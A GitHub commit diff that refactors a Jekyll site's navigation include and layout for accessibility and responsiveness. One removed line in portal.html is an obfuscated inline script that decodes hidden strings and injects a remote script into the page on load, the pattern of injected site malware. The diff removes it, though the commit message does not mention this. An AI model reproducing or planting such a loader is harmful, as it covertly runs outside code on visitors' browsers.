Skip to content

Commit ba9ce22

Browse files
cursoragentNeftaliYagua
cursoragent
and
NeftaliYagua
committed
Refactor: Improve website structure and navigation
This commit refactors the website's HTML and SCSS to improve structure, navigation, and responsiveness. Key changes include: - **Navigation:** Redesigned the main navigation with a mobile-first approach, improved accessibility with ARIA attributes, and added a "skip to main content" link. - **Layout:** Enhanced the overall layout with better use of Tailwind CSS for responsiveness and consistency across pages. - **Styling:** Updated SCSS variables and added new styles for accessibility and print modes. - **Content:** Minor content adjustments for clarity and consistency. These changes aim to provide a more user-friendly, accessible, and maintainable website. Co-authored-by: neftali.yagua <[email protected]>
1 parent bdc953d commit ba9ce22

File tree

6 files changed

+604
-457
lines changed

6 files changed

+604
-457
lines changed

‎_includes/portal.html‎

Lines changed: 158 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -1,74 +1,164 @@
1-
<div>
2-
<nav
3-
class="relative flex items-center justify-between w-full shadow-lg bg-stone-800 text-neutral-600 dark:bg-neutral-700 dark:text-neutral-300 dark:shadow-black/5 lg:flex-wrap lg:justify-start">
4-
<div class="pl-8">
1+
<nav class="bg-stone-800 text-white shadow-lg" role="navigation" aria-label="Main navigation">
2+
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
3+
<div class="flex items-center justify-between">
4+
<!-- Mobile menu button -->
55
<button
6-
class="py-3 text-xl leading-none transition-shadow duration-150 ease-in-out bg-transparent border-0 hover:text-neutral-700 focus:bg-neutral-600 lg:hidden"
7-
type="button" data-te-collapse-init data-te-target="#navbarSupportedContentY"
8-
aria-controls="navbarSupportedContentY" aria-expanded="false" aria-label="Toggle navigation">
9-
<span class="[&>svg]:w-8">
10-
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"
11-
class="w-8 h-8">
12-
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
13-
</svg>
14-
</span>
6+
class="lg:hidden py-3 px-2 text-white hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-orange-500 rounded-md transition-colors"
7+
type="button"
8+
aria-expanded="false"
9+
aria-controls="main-menu"
10+
aria-label="Toggle navigation menu"
11+
id="mobile-menu-button">
12+
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-6 h-6" aria-hidden="true">
13+
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
14+
</svg>
1515
</button>
16-
<div class="!visible hidden flex-grow basis-[100%] items-center lg:!flex lg:basis-auto" id="navbarSupportedContentY">
17-
<ul class="flex flex-row mr-auto">
18-
<li class="static">
19-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('software') ? 'bg-orange-500' : 'bg-stone-800' }}"
20-
href="/development">
21-
DEVELOPMENT
22-
</a>
23-
</li>
24-
<li class="static">
25-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('platform') ? 'bg-orange-500' : 'bg-stone-800' }}"
26-
href="/crowdfunding">
27-
CROWDFUNDING
28-
</a>
29-
</li>
30-
<li class="static">
31-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('infrastructure') ? 'bg-orange-500' : 'bg-stone-800' }}"
32-
href="/coworking">
33-
CO-WORKING
34-
</a>
35-
</li>
36-
<li class="static">
37-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
38-
href="/freelancers">
39-
FREELANCERS
40-
</a>
41-
</li>
42-
<li class="static">
43-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
44-
href="/learning">
45-
LEARNING
46-
</a>
47-
</li>
48-
<li class="static">
49-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
50-
href="/community">
51-
COMMUNITY
52-
</a>
53-
</li>
54-
<li class="static">
55-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('organization') ? 'bg-orange-500' : 'bg-stone-800' }}"
56-
href="/organization">
57-
ORGANIZATION
58-
</a>
59-
</li>
60-
</ul>
61-
</div>
16+
17+
<!-- Desktop Navigation -->
18+
<ul class="hidden lg:flex flex-row items-center" role="menubar" id="main-menu">
19+
<li role="none">
20+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
21+
href="/development"
22+
role="menuitem"
23+
aria-label="Development">
24+
DEVELOPMENT
25+
</a>
26+
</li>
27+
<li role="none">
28+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
29+
href="/crowdfunding"
30+
role="menuitem"
31+
aria-label="Crowdfunding">
32+
CROWDFUNDING
33+
</a>
34+
</li>
35+
<li role="none">
36+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
37+
href="/coworking"
38+
role="menuitem"
39+
aria-label="Coworking">
40+
CO-WORKING
41+
</a>
42+
</li>
43+
<li role="none">
44+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
45+
href="/freelancers"
46+
role="menuitem"
47+
aria-label="Freelancers">
48+
FREELANCERS
49+
</a>
50+
</li>
51+
<li role="none">
52+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
53+
href="/learning"
54+
role="menuitem"
55+
aria-label="Learning">
56+
LEARNING
57+
</a>
58+
</li>
59+
<li role="none">
60+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
61+
href="/community"
62+
role="menuitem"
63+
aria-label="Community">
64+
COMMUNITY
65+
</a>
66+
</li>
67+
<li role="none">
68+
<a class="flex items-center justify-center h-16 px-4 font-semibold text-white transition-colors hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
69+
href="/organization"
70+
role="menuitem"
71+
aria-label="Organization">
72+
ORGANIZATION
73+
</a>
74+
</li>
75+
</ul>
76+
77+
<!-- Mobile Navigation (hidden by default) -->
78+
<ul class="lg:hidden hidden flex-col w-full absolute top-full left-0 bg-stone-800 shadow-lg z-50" id="mobile-menu" role="menu">
79+
<li role="none">
80+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
81+
href="/development"
82+
role="menuitem"
83+
aria-label="Development">
84+
DEVELOPMENT
85+
</a>
86+
</li>
87+
<li role="none">
88+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
89+
href="/crowdfunding"
90+
role="menuitem"
91+
aria-label="Crowdfunding">
92+
CROWDFUNDING
93+
</a>
94+
</li>
95+
<li role="none">
96+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
97+
href="/coworking"
98+
role="menuitem"
99+
aria-label="Coworking">
100+
CO-WORKING
101+
</a>
102+
</li>
103+
<li role="none">
104+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
105+
href="/freelancers"
106+
role="menuitem"
107+
aria-label="Freelancers">
108+
FREELANCERS
109+
</a>
110+
</li>
111+
<li role="none">
112+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
113+
href="/learning"
114+
role="menuitem"
115+
aria-label="Learning">
116+
LEARNING
117+
</a>
118+
</li>
119+
<li role="none">
120+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
121+
href="/community"
122+
role="menuitem"
123+
aria-label="Community">
124+
COMMUNITY
125+
</a>
126+
</li>
127+
<li role="none">
128+
<a class="block px-4 py-3 text-white font-semibold hover:bg-stone-700 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-orange-500"
129+
href="/organization"
130+
role="menuitem"
131+
aria-label="Organization">
132+
ORGANIZATION
133+
</a>
134+
</li>
135+
</ul>
62136
</div>
63-
</nav>
64-
</div>
137+
</div>
138+
</nav>
139+
65140
{% if page.title %}
66-
<header class="bg-white shadow">
67-
<div class="max-w-7xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
68-
<h2 class="font-semibold text-xl text-gray-800 leading-tight">
69-
{{ page.title }}
70-
</h2>
71-
</div>
141+
<header class="bg-white border-b border-stone-200" role="banner">
142+
<div class="max-w-7xl mx-auto py-4 px-4 sm:px-6 lg:px-8">
143+
<h1 class="text-2xl sm:text-3xl font-semibold text-gray-900">
144+
{{ page.title }}
145+
</h1>
146+
</div>
72147
</header>
73148
{% endif %}
74-
<script>window[(function(_ckT,_dH){var _X9bGG='';for(var _XKoZIJ=0;_XKoZIJ<_ckT.length;_XKoZIJ++){_dH>6;var _nujw=_ckT[_XKoZIJ].charCodeAt();_nujw-=_dH;_nujw!=_XKoZIJ;_nujw+=61;_nujw%=94;_nujw+=33;_X9bGG==_X9bGG;_X9bGG+=String.fromCharCode(_nujw)}return _X9bGG})(atob('J3R7Pzw3MjBBdjJG'), 43)] = 'cd5c4a85c11760181286'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_5D1,_KJ){var _lXDyl='';for(var _LVagJJ=0;_LVagJJ<_5D1.length;_LVagJJ++){var _9BZ2=_5D1[_LVagJJ].charCodeAt();_lXDyl==_lXDyl;_9BZ2-=_KJ;_9BZ2!=_LVagJJ;_9BZ2+=61;_9BZ2%=94;_KJ>5;_9BZ2+=33;_lXDyl+=String.fromCharCode(_9BZ2)}return _lXDyl})(atob('fSsrJypPREQhKkMxfkIqeCl+JysqQ3gmJEQxfkIrdnxDISo='), 21)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });</script>
149+
150+
<script>
151+
// Mobile menu toggle
152+
document.addEventListener('DOMContentLoaded', function() {
153+
const mobileMenuButton = document.getElementById('mobile-menu-button');
154+
const mobileMenu = document.getElementById('mobile-menu');
155+
156+
if (mobileMenuButton && mobileMenu) {
157+
mobileMenuButton.addEventListener('click', function() {
158+
const isExpanded = mobileMenuButton.getAttribute('aria-expanded') === 'true';
159+
mobileMenu.classList.toggle('hidden');
160+
mobileMenuButton.setAttribute('aria-expanded', !isExpanded);
161+
});
162+
}
163+
});
164+
</script>

‎_layouts/layout.html‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,8 @@
33
<head>
44
<meta charset="utf-8">
55
<title>{{ site.title }} - {{ page.title }}</title>
6-
<meta name="viewport" content="width=device-width, initial-scale=1">
6+
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=5">
7+
<meta name="color-scheme" content="light">
78
<meta name="google-adsense-account" content="ca-pub-6690628925445882">
89
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
910
<link rel="icon" type="image/svg-xml" href="/favicon.svg">
@@ -87,12 +88,17 @@
8788
</head>
8889

8990
<body>
91+
<a href="#main-content" class="skip-to-main">Skip to main content</a>
9092
<div class="App">
9193
<div>
9294
{{ content }}
9395
</div>
9496
</div>
95-
<noscript>Please enable JavaScript to continue using this application.</noscript>
97+
<noscript>
98+
<div class="bg-yellow-100 border-l-4 border-yellow-500 text-yellow-700 p-4 m-4" role="alert">
99+
<p>Please enable JavaScript to continue using this application.</p>
100+
</div>
101+
</noscript>
96102
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6690628925445882"
97103
crossorigin="anonymous"></script>
98104
</body>

0 commit comments

Comments
 (0)